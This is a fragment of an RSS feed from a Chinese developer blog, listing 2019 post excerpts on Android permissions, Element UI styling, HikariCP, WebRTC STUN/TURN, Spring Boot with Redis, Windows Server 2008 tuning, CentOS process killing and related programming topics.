      <description>Android7.0之后调用相机相册就要申请相应的权限，所以首先要先申请相机相册的使用权限&#xA;添加依赖：&#xA;//动态权限申请库 implementation &#39;pub.devrel:easypermissions:1.3.0&#39; 在MainActivity中获取权限：&#xA;private String[] permissions = {Manifest.permission.CAMERA, Manifest.permission.WRITE_EXTERNAL_STORAGE}; //获取权限 private void getPermission() { if (EasyPermissions.hasPermissions(this, permissions)) { //已经打开权限 Toast.makeText(this, &#34;已经申请相关权限&#34;, Toast.LENGTH_SHORT).show(); } else { //没有打开相关权限、申请权限 EasyPermissions.requestPermissions(this, &#34;需要获取您的相册、照相使用权限&#34;, 1, permissions); } } @Override public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) { super.onRequestPermissionsResult(requestCode, permissions, grantResults); //框架要求必须这么写 EasyPermissions.onRequestPermissionsResult(requestCode, permissions, grantResults, this); } //成功打开权限 public void onPermissionsGranted(int requestCode, @NonNull List&amp;lt;String&amp;gt; perms) { Toast.makeText(this, &#34;相关权限获取成功&#34;, Toast.LENGTH_SHORT).show(); } //用户未同意权限 public void onPermissionsDenied(int requestCode, @NonNull List&amp;lt;String&amp;gt; perms) { Toast.</description>
    </item>
    <item>
      <title>修改elementUI“分页组件”的默认样式</title>
      <link>https://bchobby.github.io/posts/3606fd992858b38c7228dfb798612055/</link>
      <pubDate>Tue, 03 Sep 2019 11:27:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3606fd992858b38c7228dfb798612055/</guid>
      <description> 效果图&#xA;&amp;lt;!-- 分页 --&amp;gt; &amp;lt;div class=&#34;pager-box&#34;&amp;gt; &amp;lt;el-pagination small background layout=&#34;prev, pager, next&#34; :total=&#34;totalDataCount&#34; :current-page=&#34;pageInfo.page&#34; :page-size=&#34;pageInfo.limit&#34; @size-change=&#34;handleSizeChange&#34; @current-change=&#34;handleCurrentChange&#34;&amp;gt; &amp;lt;/el-pagination&amp;gt; &amp;lt;/div&amp;gt; /*重写element样式*/ .pager-box &amp;gt;&amp;gt;&amp;gt; button, .pager-box &amp;gt;&amp;gt;&amp;gt; .el-pager li{ background-color: transparent !important; color: #B4C2DC !important; border: 1px solid #0672C4; } .pager-box &amp;gt;&amp;gt;&amp;gt; .el-pagination.is-background .el-pager li:not(.disabled).active { background-color: #0672C4 !important; } </description>
    </item>
    <item>
      <title>HikariConfig配置详解</title>
      <link>https://bchobby.github.io/posts/3fee658c7e29b16706055973d740d052/</link>
      <pubDate>Tue, 03 Sep 2019 11:04:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3fee658c7e29b16706055973d740d052/</guid>
      <description>SpringBoot 2.0 开始推 HikariCP ，将默认的数据库连接池从 tomcat jdbc pool 改为了 hikari ， HikariCP 在性能和并发方面确实表现不俗（号称最快的连接池）。&#xA;如果你使用 spring-boot-starter-jdbc 或 spring-boot-starter-data-jpa ，会自动添加对 HikariCP 的依赖，也就是说此时使用 HikariCP 。当然你也可以强制使用其它的连接池技术，可以通过在 application.properties 或 application.yml 中配置 spring.datasource.type 指定。&#xA;基本配置&#xA;已经默认使用 HikariCP，所以只需要在 yaml 中添加数据库配置即可：&#xA;url: jdbc:mysql://localhost:3306?useSSL=false&#xA;username: root&#xA;password: 1234&#xA;HikariCP 默认配置&#xA;主要参数是在 com.zaxxer.hikari.HikariConfig 中初始化的，部分参数是在 com.zaxxer.hikari.pool.PoolBase 中初始化的。&#xA;name 描述 构造器默认值 默认配置validate之后的值 validate重置&#xA;autoCommit 自动提交从池中返回的连接 true true -&#xA;connectionTimeout 等待来自池的连接的最大毫秒数 SECONDS.toMillis(30) = 30000 30000 如果小于250毫秒，则被重置回30秒&#xA;idleTimeout 连接允许在池中闲置的最长时间 MINUTES.toMillis(10) = 600000 600000 如果idleTimeout+1秒&amp;gt;maxLifetime 且 maxLifetime&amp;gt;0，则会被重置为0（代表永远不会退出）；如果idleTimeout!</description>
    </item>
    <item>
      <title>webrtc系列3——对于stun和turn的理解</title>
      <link>https://bchobby.github.io/posts/7ebe32a65c5f50eaaf6d944ec56a6cb7/</link>
      <pubDate>Tue, 03 Sep 2019 08:05:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7ebe32a65c5f50eaaf6d944ec56a6cb7/</guid>
      <description>文章目录 对于stun和turn的理解1. SDP协议2. 地址转换NAT3. candidate stunTURNICE 对于stun和turn的理解 在介绍turn和stun之前我们先来了解几个概念&#xA;会话描述协议 SDP（Session Description Protocol ）网络地址转换 NAT (Network Address Translation)网络协商 candidate 1. SDP协议 我们来思考，如果两个不同的手机，一个手机支持VP8、VP9的媒体格式，另一个支持VP8、h264的协议，他们如果通信的话会选择什么格式的媒体来进行交流？&#xA;[外链图片转存失败(img-uB81o8AW-1567468988824)(SDP协商.png)]&#xA;这时候我们就需要用到这个SDP协议了，在WebRTC中，参与视频通讯的双方必须先交换SDP信息，这样双方才能知根知底，而交换SDP的过程，也称为&#34;媒体协商&#34;。&#xA;记住一点，SDP不叫媒体协商，交换SDP的过程才叫媒体协商，SDP全名叫会话描述协议&#xA;2. 地址转换NAT 经常有人问我=&#xA;为什么我配置了stun，进行了p2p穿透，可还是有很多情况下不通？为什么ios通，android不通？为什么移动能打通，电信打不通，wifi和4g有的通有的不通 好吧，其实我也不是很清楚&#xA;历史告诉我们，当我们无法触及到某个真理的时候，我们只能通过类比或者工具模拟的方式来解释我们所看到的一切。&#xA;说起nat，其实就是不知道对方实际地址，然后通过扔一个探测包，然后有回应就拿到对方地址的方式&#xA;我们说的nat不通，是因为咱们这个国内网络情况比较复杂，究其历史原因，就要说到移动、联通、电信的历史了，篇幅太长，暂时搁置。&#xA;总而言之，不通就不通嘛，总还有别的办法&#xA;3. candidate 我们先来看下Ice candidate类中的属性&#xA;public final String sdpMid;//描述协议的id public final int sdpMLineIndex;//描述协议的行索引 public final String sdp;//会话描述协议 好了，到这为止，应该已经了解到，这玩意就是个模版&#xA;当我们调用setLocalDescription的时候，底层的代码就会帮我们的收集candidate(候选信息)，然后回调到上层，然后我们将其发送到服务器，然后服务器再发送到另一端&#xA;一定会好奇这个candidate里有啥是吧，其实就是一些网络信息的候选地址，一个不通换另一种的那种。&#xA;我们称交换candidate的过程称为网络协商&#xA;stun 好了，我们的主角登场&#xA;STUN（Session Traversal Utilities for NAT，NAT会话穿越应用程序）是一种网络协议，它允许位于NAT（或多重&#xA;NAT）后的客户端找出自己的公网地址，查出自己位于哪种类型的NAT之后以及NAT为某一个本地端口所绑定的&#xA;Internet端端口。这些信息被用来在两个同时处于NAT路由器之后的主机之间创建UDP通信。该协议由RFC 5389定&#xA;义。&#xA;其实有好多人问我，在局域网需不需要stun服务器？&#xA;我很认真的告诉你，不需要！&#xA;这时候，又会有人问了，你的demo为啥不部署stun，局域网内不通呢？&#xA;我也很认真的告诉你，请看官方demo，有个直连的类你可以借鉴，直接填写对方的地址，因为需要知道对方的地址才能进行通信的咧&#xA;来张图</description>
    </item>
    <item>
      <title>输入输出——用动态数组保存多行输入</title>
      <link>https://bchobby.github.io/posts/de0897e417cb6af93ad6fdb84ec7082a/</link>
      <pubDate>Mon, 02 Sep 2019 23:26:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/de0897e417cb6af93ad6fdb84ec7082a/</guid>
      <description> 将输入存到动态数组中 先修知识 getline(cin,str)来读取整行输入（包括空格），需要先定义string 变量cin&amp;gt;&amp;gt;name;使用cin作为输入时，输入遇到空白（空格）就停止插入 函数描述 输入格式是：1 2 3 ；4 5 6。（因为有空格不能直接用cin） 输出是：1；2；3；4；5；6；&#xA;因为有空格，只能尝试将两行输入作为字符串输入到vector容器中，并对vector的输出格式进行尝试。&#xA;发现vector容器可以使用v[i][j] 来读取第i个字符串中第j个元素的值&#xA;#include &amp;lt;iostream&amp;gt; #include &amp;lt;vector&amp;gt; #include &amp;lt;string&amp;gt; #include &amp;lt;map&amp;gt; using namespace std; int main() { vector&amp;lt;string&amp;gt; number; string n; for(int i=0;i&amp;lt;2;i++) { getline(cin, n); number.push_back(n); } for (int i = 0; i &amp;lt; number.size(); i++) { for(int j=0;j&amp;lt;number[i].size();j++) //if ((&#39;0&#39; &amp;lt;= (number[i])[j]) &amp;amp;&amp;amp; (((number[i])[j]) &amp;lt;= &#39;9&#39;)) //&#x9;cout &amp;lt;&amp;lt; (number[i])[j] &amp;lt;&amp;lt; endl; if((&#39;0&#39;&amp;lt;=number[i][j])&amp;amp;&amp;amp;(number[i][j]&amp;lt;=&#39;9&#39;)) cout &amp;lt;&amp;lt; number[i][j] &amp;lt;&amp;lt; endl; } return 0; } </description>
    </item>
    <item>
      <title>安装python</title>
      <link>https://bchobby.github.io/posts/5493a2bc6ff79a3bcd7aae2616caa163/</link>
      <pubDate>Mon, 02 Sep 2019 20:41:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5493a2bc6ff79a3bcd7aae2616caa163/</guid>
      <description>安装Python 想要进行Python开发，首先需要下载和配置Python解释器。&#xA;下载Python 访问Python官网: https://www.python.org/点击downloads按钮，在下拉框中选择系统类型(windows/Mac OS/Linux等)选择下载最新版本的Python 安装Python 双击下载好的Python安装包勾选左下角Add Python 3.7 to PATH 选项，然后选择Install now立刻安装Python. 安装完成 测试是否安装成功 点击电脑左下角开始按钮，输入cmd 进入到windows的命令行模式。在命令行中输入Python,正确显示Python版本，即表示Python安装成功 如果在命令行中输入python出现如下错误 可能是因为在安装Python的过程中没有勾选 Add Python 3.7 to PATH 选项，此时需要手动对Python进行配置。 手动配置Python 注意：如果在安装过程中，已经勾选了 Add Python 3.7 to PATH选项，并且在cmd 命令模式下输入python指令不报错，就不需要再手动的配置Python.&#xA;右键此电脑 --&amp;gt; 选择 属性 选择高级系统设置--&amp;gt;环境变量--&amp;gt;找到并且双击Path 双击Path,在弹框里点击新建，找到Python的安装目录，把路径添加进去 这里新添加的路径 C:\Users\chris\AppData\Local\Programs\Python\Python37 是Python安装好以后，Python.exe 这个可执行文件所在的目录。 pip的使用 pip 是一个现代的，通用的Python包管理工具。提供了对 Python 包的查找、下载、安装、卸载的功能，便于我们对Python的资源包进行管理。&#xA;安装 在安装Python时，会自动下载并且安装pip.&#xA;配置 在windows命令行里，输入 pip -V 可以查看pip的版本。 如果在命令行里，运行pip -V,出现如下提示: 可能是因为在安装python的过程中未勾选 Add Python 3.7 to PATH 选项，需要手动的配置pip的环境变量。右键此电脑--&amp;gt;环境变量--&amp;gt;找到并且双击Path--&amp;gt;在弹窗里点击新建--&amp;gt;找到pip的安装目录，把路径添加进去。 这里新添加的路径 C:\Users\chris\AppData\Local\Programs\Python\Python37\Scripts 是Python安装好以后，pip.exe 这个可执行文件所在的目录。 使用pip管理Python包 pip install &amp;lt;包名&amp;gt; 安装指定的包pip uninstall &amp;lt;包名&amp;gt; 删除指定的包pip list 显示已经安装的包pip freeze 显示已经安装的包，并且以指定的格式显示pip install -r required.</description>
    </item>
    <item>
      <title>服务器调优</title>
      <link>https://bchobby.github.io/posts/2f2845352fad565f51bee119a41ac1a2/</link>
      <pubDate>Mon, 02 Sep 2019 15:26:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2f2845352fad565f51bee119a41ac1a2/</guid>
      <description>今天把以前的windows server 2003给覆盖了，在C盘地下安装了windows server 2008。安装好windows server 2008后，系统很多地方都需要设置。我就说下我遇到的一些问题吧，关于其他的一些小问题网上有，我在后面也贴出来了。&#xA;1.关于驱动的问题&#xA;安装windows server 2008后，驱动都没有安装，不能上网也不能听声音。在安装之前，最好先准备好相应的网卡驱动(只需要网卡驱动就可以，也许原本的驱动盘里面的驱动不兼容 windows server 2008)，如果你不知道网卡具体型号，知道个大概也行，上驱动之家找。比如我只知道我的网卡是realtek系列的，我就先去下10几款realtek 系列的网卡驱动，适应系统最好是windows vista的，安装好2008后，就一款一款试吧，网卡驱动安装好以后(如果10几款都不行，只能怪人品，接着找)，其他的驱动就用驱动工具安装(比如超级兔子)。&#xA;2.关于windows media player 11安装的问题&#xA;windows server 2008是自带media player 11的，有些阴影播放器或工具是基于media player服务的，但是它默认是不安装media player的。具体操作如下：&#xA;打开服务器管理器--&amp;gt;在功能摘要里面找到“添加功能”--&amp;gt;选择“桌面体验”，然后安装，安装好后重启，在开始菜单里面就有windows media player 11的安装向导了，看截图：&#xA;重启后就可以在开始菜单看到windows media player的安装了&#xA;3.关于ghost的问题&#xA;安装好windows server 2008,以及一些开发软件和一些常用软件后，我们常常会把装好的系统做个ghost备份(以防系统瘫痪，免得重装系统，重装软件)。我在装ghost时出现了一些问题：ghost备份完后，重启又接着ghost，无法进入到我我安好的2008系统中。&#xA;解决办法：重启时，按F8,选择进入windows server 2008，然后选择“计算机”--&amp;gt;“属性”--&amp;gt;“高级系统设置”--&amp;gt;选择“启动和故障恢复”--&amp;gt;选择里面的默认操作系统为“windows server2008”，顺便把”显示操作系统列表时间“给勾掉。&#xA;4.关于有些应用程序无法执行的问题&#xA;装好系统后，我想装一个酷我音乐盒(在此之前必须先装media player)，系统提示”DEP帮助保护数据“，应用程序结束。&#xA;解决办法：”计算机“--&amp;gt;”属性“--&amp;gt;”高级系统设置“--&amp;gt;选择”高级“选项卡中的”性能“，然后点”设置“--&amp;gt;选择”数据执行保护“--&amp;gt;点击”添加“，添加你想排除DEP服务的应用程序。&#xA;5.文件缩略图的设置&#xA;原本我们用xp或win 2003时，文件查看都有缩略图选项，而windows server 2008里面没有，设置如下：&#xA;随便打开一个盘，找到”文件夹选项“--&amp;gt;选择”查看“选项卡，把”以缩略图形式显示文件夹“勾上，windows server 2008提供了以大图标的形式浏览文件，这样我们在浏览图片的时候以缩略 图的大图标形式浏览，看起来就非常舒服。&#xA;其他的一些设置就不说了，有什么问题网上也很容易搜到。&#xA;下面贴一些其他地方的设置：&#xA;原文：&#xA;http://www.cnblogs.com/zhouxiaxue/archive/2008/11/07/1328733.html&#xA;Windows 2008常用 优化设置&#xA;1.如何关闭UAC?&#xA;控制面板→用户帐户→打开或关闭用户账户控制→取消使用用户账户控制(UAC)帮助保护您的计算机。&#xA;2.如何取消开机按 CTRL+ALT+DEL登陆?&#xA;控制面板→管理工具→本地安全策略→本地策略→安全选项→交互式登陆：无须按CTRL+ALT+DEL→启用。&#xA;3.如何取消关机时出现的关机理由选择项?&#xA;开始→运行gpedit.msc →计算机配置→管理模板→系统→显示“关闭事件跟踪程序”→禁用。</description>
    </item>
    <item>
      <title>typora专业写作要会的图片排版方法</title>
      <link>https://bchobby.github.io/posts/9ab4f7d3bba8009d14277fbb0e413628/</link>
      <pubDate>Mon, 02 Sep 2019 09:47:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ab4f7d3bba8009d14277fbb0e413628/</guid>
      <description> &amp;lt;div align=&#34;center&#34; &amp;gt; &amp;lt;img src=&#34;https://ss0.bdstatic.com/94oJfD_bAAcT8t7mm9GUKT-xh_/timg?image&amp;amp;quality=100&amp;amp;size=b4000_4000&amp;amp;sec=1567043374&amp;amp;di=06a84a5b828ba4f1db6b398a2f52ea95&amp;amp;src=http://hbimg.huabanimg.com/db8111b7a5c7b2935248a8e9bb9baa25266b60dbcc8ae-6fLBhf_fw658&#34; style=&#34;width: 30%;display: inline;&#34;/&amp;gt; &amp;lt;img src=&#34;https://ss0.bdstatic.com/94oJfD_bAAcT8t7mm9GUKT-xh_/timg?image&amp;amp;quality=100&amp;amp;size=b4000_4000&amp;amp;sec=1567043374&amp;amp;di=06a84a5b828ba4f1db6b398a2f52ea95&amp;amp;src=http://hbimg.huabanimg.com/db8111b7a5c7b2935248a8e9bb9baa25266b60dbcc8ae-6fLBhf_fw658&#34; style=&#34;width: 30%;display: inline;&#34; /&amp;gt; &amp;lt;img src=&#34;https://ss0.bdstatic.com/94oJfD_bAAcT8t7mm9GUKT-xh_/timg?image&amp;amp;quality=100&amp;amp;size=b4000_4000&amp;amp;sec=1567043374&amp;amp;di=06a84a5b828ba4f1db6b398a2f52ea95&amp;amp;src=http://hbimg.huabanimg.com/db8111b7a5c7b2935248a8e9bb9baa25266b60dbcc8ae-6fLBhf_fw658&#34; style=&#34;width: 30%;display: inline;&#34; /&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div align=&#34;center&#34;&amp;gt; &amp;lt;div style=&#34;display: inline-block;width: 40%;&#34; &amp;gt; &amp;lt;img src=&#34;https://ss0.bdstatic.com/94oJfD_bAAcT8t7mm9GUKT-xh_/timg?image&amp;amp;quality=100&amp;amp;size=b4000_4000&amp;amp;sec=1567043374&amp;amp;di=06a84a5b828ba4f1db6b398a2f52ea95&amp;amp;src=http://hbimg.huabanimg.com/db8111b7a5c7b2935248a8e9bb9baa25266b60dbcc8ae-6fLBhf_fw658&#34; style=&#34;width: 400%;display: block;height:100px;&#34;/&amp;gt; &amp;lt;img src=&#34;https://ss0.bdstatic.com/94oJfD_bAAcT8t7mm9GUKT-xh_/timg?image&amp;amp;quality=100&amp;amp;size=b4000_4000&amp;amp;sec=1567043374&amp;amp;di=06a84a5b828ba4f1db6b398a2f52ea95&amp;amp;src=http://hbimg.huabanimg.com/db8111b7a5c7b2935248a8e9bb9baa25266b60dbcc8ae-6fLBhf_fw658&#34; style=&#34;width: 400%;display: block;height:100px;&#34; /&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div style=&#34;display: inline-block;width: 40%;&#34; &amp;gt; &amp;lt;img src=&#34;https://ss0.bdstatic.com/94oJfD_bAAcT8t7mm9GUKT-xh_/timg?image&amp;amp;quality=100&amp;amp;size=b4000_4000&amp;amp;sec=1567043374&amp;amp;di=06a84a5b828ba4f1db6b398a2f52ea95&amp;amp;src=http://hbimg.huabanimg.com/db8111b7a5c7b2935248a8e9bb9baa25266b60dbcc8ae-6fLBhf_fw658&#34; style=&#34;width: 100%;display: block;;height:200px;&#34; /&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; 结果： </description>
    </item>
    <item>
      <title>使用vuex时，actions如何使用$nextTick</title>
      <link>https://bchobby.github.io/posts/1245aa704291a1f3677869416722ddbc/</link>
      <pubDate>Sun, 01 Sep 2019 22:09:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1245aa704291a1f3677869416722ddbc/</guid>
      <description>今天在完善仿卖座移动端项目的时候，因为获取影院的ajax在actions里面定义，因为数据量大，所以使用了better-scroll&#xA;之前是因为在影院组件里面直接写的ajax，所以$nextTick出现了判断的错误，如果变换了ajax的获取，它会存留上一次的最后的状态&#xA;所以我用了一个比较笨的办法，将组件里面的this直接传给state里面定义的一个变量，然后使用这个变量再调用$nextTick&#xA;state: { vuethis: null }, mutations: { //获取this getVuethis(state, loop) { state.vuethis = loop } }, actions: { GetCinemas(store) { Indicator.open({ text: &#39;加载中...&#39;, spinnerType: &#39;fading-circle&#39; }); axios({ url: `https://m.maizuo.com/gateway?cityId=${store.state.cityID}&amp;amp;ticketFlag=1&amp;amp;k=1573618`, methods: &#39;get&#39;, headers: { &#39;X-Client-Info&#39;: &#39;{&#34;a&#34;:&#34;3000&#34;,&#34;ch&#34;:&#34;1002&#34;,&#34;v&#34;:&#34;5.0.4&#34;,&#34;e&#34;:&#34;15656848532164663517222&#34;}&#39;, &#39;X-Host&#39;: &#39;mall.film-ticket.cinema.list&#39; } }).then((res) =&amp;gt; { store.state.CinemaData = res.data.data.cinemas Indicator.close(); //这里调用 store.state.vuethis.$nextTick(() =&amp;gt; { new BScroll(&#39;.cinemas-scroll&#39;, { scrollY: true, scrollbar: true, }); }) }) } } 就可以正常使用了。如果还有更好的方式欢迎指出。。</description>
    </item>
    <item>
      <title>springboot集成redis缓存</title>
      <link>https://bchobby.github.io/posts/39cb99a6bb3554a0438727fc2b0e7a5a/</link>
      <pubDate>Sun, 01 Sep 2019 16:26:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39cb99a6bb3554a0438727fc2b0e7a5a/</guid>
      <description>redis是一个key-value存储系统。和Memcached类似，它支持存储的value类型相对更多，包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash（哈希类型）。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作，而且这些操作都是原子性的。在此基础上，redis支持各种不同方式的排序。与memcached一样，为了保证效率，数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件，并且在此基础上实现了master-slave(主从)同步。&#xA;废话不多说，今天我们来搭建一个简单的demo，实现redis存储数据&#xA;首先，我们使用idea搭建一个简单的springboot工程，其目录结构如图：&#xA;相信这个目录已经够简洁了哈，注意这里我们多写了一个utils工具类用来存放redis相关的操作方法以及配置。&#xA;工程创建OK了，我们添加相关依赖，web模块，mysql，mybatis，redis等几个依赖，因为这里我用到了代码生成器，所以也添加了generator插件，详细的pom配置文件如下：&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd&#34;&amp;gt; &amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt; &amp;lt;parent&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-parent&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.1.3.RELEASE&amp;lt;/version&amp;gt; &amp;lt;relativePath/&amp;gt; &amp;lt;!-- lookup parent from repository --&amp;gt; &amp;lt;/parent&amp;gt; &amp;lt;groupId&amp;gt;com.example&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;demo02&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;0.0.1-SNAPSHOT&amp;lt;/version&amp;gt; &amp;lt;name&amp;gt;demo02&amp;lt;/name&amp;gt; &amp;lt;description&amp;gt;Demo project for Spring Boot&amp;lt;/description&amp;gt; &amp;lt;properties&amp;gt; &amp;lt;java.version&amp;gt;1.8&amp;lt;/java.version&amp;gt; &amp;lt;/properties&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-test&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- Mysql驱动包 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-java&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;runtime&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--mybatis和tk.mybatis--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.mybatis.spring.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.3.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;redis.clients&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;jedis&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.9.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; &amp;lt;build&amp;gt; &amp;lt;plugins&amp;gt; &amp;lt;plugin&amp;gt; &amp;lt;groupId&amp;gt;org.</description>
    </item>
    <item>
      <title>connect ECONNREFUSED 127.0.0.1:80错误解决</title>
      <link>https://bchobby.github.io/posts/8ffe42acae17f736e3b96033a461bb51/</link>
      <pubDate>Sat, 31 Aug 2019 23:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ffe42acae17f736e3b96033a461bb51/</guid>
      <description>这个报错也是一直困扰了我许久，服务端一直打印这个报错，但是页面数据响应又都正常，起初真不知道是因为什么原因，能看出来他是在调用80端口， 但是不明白为什么会调用80端口。一度以为是config.js里面配置问题，所以解决的思路就一直在考虑配置方面，端口等方面。&#xA;最后发现都没有效果，在网上也查了各种类似的报错问题，解决方案也都不在点子上。考虑到我的config配置都是按官方模板配置的，应该不会出问题，所以考虑到换个方向去解决。&#xA;最后突然想到之前了解过nuxt的生命周期，beforeCreated 和 created 是同时运行在服务端和客户端上的，mounted以后才会运行在客户端。&#xA;那么问题关键就找到了，之前spa项目在created生命周期里请求数据，我使用的三方axios，那么整体转为ssr，为避免大量改动，就还是使用的三方axios，接口 /api/user ，现在这个会跑在服务端，那么superagent 内部是用的node url parse 去解析你的这个 /api 参数的，然后再传给相应的如 http request，所以默认就是80端口。&#xA;问题原因找到了，那我们就需要改下生命周期就行了，让原先spa项目里在created里请求数据，全部改成mounted里去请求。果然问题就解决了。&#xA;转载于:https://www.cnblogs.com/goloving/p/11440967.html</description>
    </item>
    <item>
      <title>[Centos]检查端口被哪个进程占用并杀死该进程</title>
      <link>https://bchobby.github.io/posts/150fea2958ba7ad42f59c6bbcfced304/</link>
      <pubDate>Sat, 31 Aug 2019 20:08:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/150fea2958ba7ad42f59c6bbcfced304/</guid>
      <description>Ｃｅｎｔｏｓ上的Ｃ＋＋服务器工作的时候，检测到９９０端口占用异常&#xA;没有占用...&#xA;再运行一下果然好了&#xA;如果被占用了，可以使用ｋｉｌｌ命令杀死进程：&#xA;kill -9 process_id 好的，今天终于遇到了进程爆炸：启动一个C++服务器的时候僵死，这个程序叫service，直接搜索：&#xA;ps -ef | grep service 杀死该进程：（第一列的2614和3816是进程号，第二列不是，我目前也不知道第二列是什么）&#xA;kill -9 2614 同时ssh登录界面监视到kill执行：</description>
    </item>
    <item>
      <title>Thread线程中的yield()方法和join()方法</title>
      <link>https://bchobby.github.io/posts/98c76dcc78939ecdb6e600024ca0baca/</link>
      <pubDate>Sat, 31 Aug 2019 11:45:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/98c76dcc78939ecdb6e600024ca0baca/</guid>
      <description>yield()方法：当一个线程使用了这个方法之后，它就会把自己CPU执行的时间让掉，让自己或者其它的线程运行，注意是让自己或者其他线程运行，并不是单纯的让给其他线程。yield()的作用是让步。它能让当前线程由“运行状态”进入到“就绪状态”，从而让其它具有相同优先级的等待线程获取执行权；但是，并不能保证在当前线程调用yield()之后，其它具有相同优先级的线程就一定能获得执行权；也有可能是当前线程又进入到“运行状态”继续运行！&#xA;举个例子：一帮朋友在排队上公交车，轮到Yield的时候，他突然说：我不想先上去了，咱们大家来竞赛上公交车。然后所有人就一块冲向公交车，有可能是其他人先上车了，也有可能是Yield先上车了。&#xA;但是线程是有优先级的，优先级越高的人，就一定能第一个上车吗？这是不一定的，优先级高的人仅仅只是第一个上车的概率大了一点而已，最终第一个上车的，也有可能是优先级最低的人。并且所谓的优先级执行，是在大量执行次数中才能体现出来的。&#xA;join()方法：在一个线程中调用了其他线程的join方法，当前线程会停止运行，直到被调用的线程运行完成后当前线程再开始运行。&#xA;更多：https://www.cnblogs.com/huangzejun/p/7908898.html</description>
    </item>
    <item>
      <title>变量命名的通用规则</title>
      <link>https://bchobby.github.io/posts/40a2c0da7c3750c2f790b13fef6f4973/</link>
      <pubDate>Sat, 31 Aug 2019 11:13:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/40a2c0da7c3750c2f790b13fef6f4973/</guid>
      <description>目录&#xA;一、参考&#xA;一 、普通变量:&#xA;一 、 MFC中ID&#xA;一 、 vc资源名字定义格式:&#xA;一 、 MFC 消息命名&#xA;一、注意：&#xA;1、变量名只能是字母（A-Z,a-z）、数字(0-9)或下划线。 1、第一个字母不能是数字，例如2Lerver这不是一个合法的C++变量。&#xA;1、不能是c++关键字，例如不能用class这个单词来命名一个变量。&#xA;1、区分大小写，例如iA和ia是两个不同的变量。 一、用最短的字符表示最多的意义。&#xA;一、使用变量前缀 1、整型的前缀 一、变量命名的宗旨： 用最短的字符表示最多的意义。&#xA;一、使用变量前缀 1、局部变量：tmp_&#xA;1、类的成员变量（member）:m_&#xA;1、类的静态成员变量（static member）:sm_&#xA;1、静态变量（static）:s_&#xA;1、外部全局变量（global）:g_&#xA;1、静态全局变量（static global）:sg_&#xA;1、进程间共享的共享数据段全局变量（global global）：gg_&#xA;1、除非不得已，否则应该尽可能少使用全局变量。&#xA;1、整型的前缀 1、浮点型的前缀 1、字符型的前缀 1、字符串的前缀 1、布尔型的前缀 1、指针型的前缀 1、数组的前缀 1、枚举变量的前缀 1、结构变量的前缀：t 1、字节变量的前缀：&#xA;1、字变量的前缀 1、字符指针的前缀 1、STL容器类型前缀 vector vecValue; 1、MFC绑定控件变量的前缀 1、矩形结构的前缀：&#xA;1、句柄对象一律以h开头&#xA;1、windows颜色类型的前缀：cr COLORREF crFront; 1、windows中DC(设备上下文)类型的前缀 CClientDC dcClient; 1、类的成员变量以m_开头，后面为变量体，变量体依然要有前缀。 1、定义一个变量，为了简化，在不影响变量意义的情况下，可以仅仅使用前缀。 RECT rc; 1、全局变量一律以g_开头，后面为变量体，变量体依然要有前缀。 int g_iNums; 1、变量体如果是多个单词，每个单词的首字母大写。 int iStudentAge; 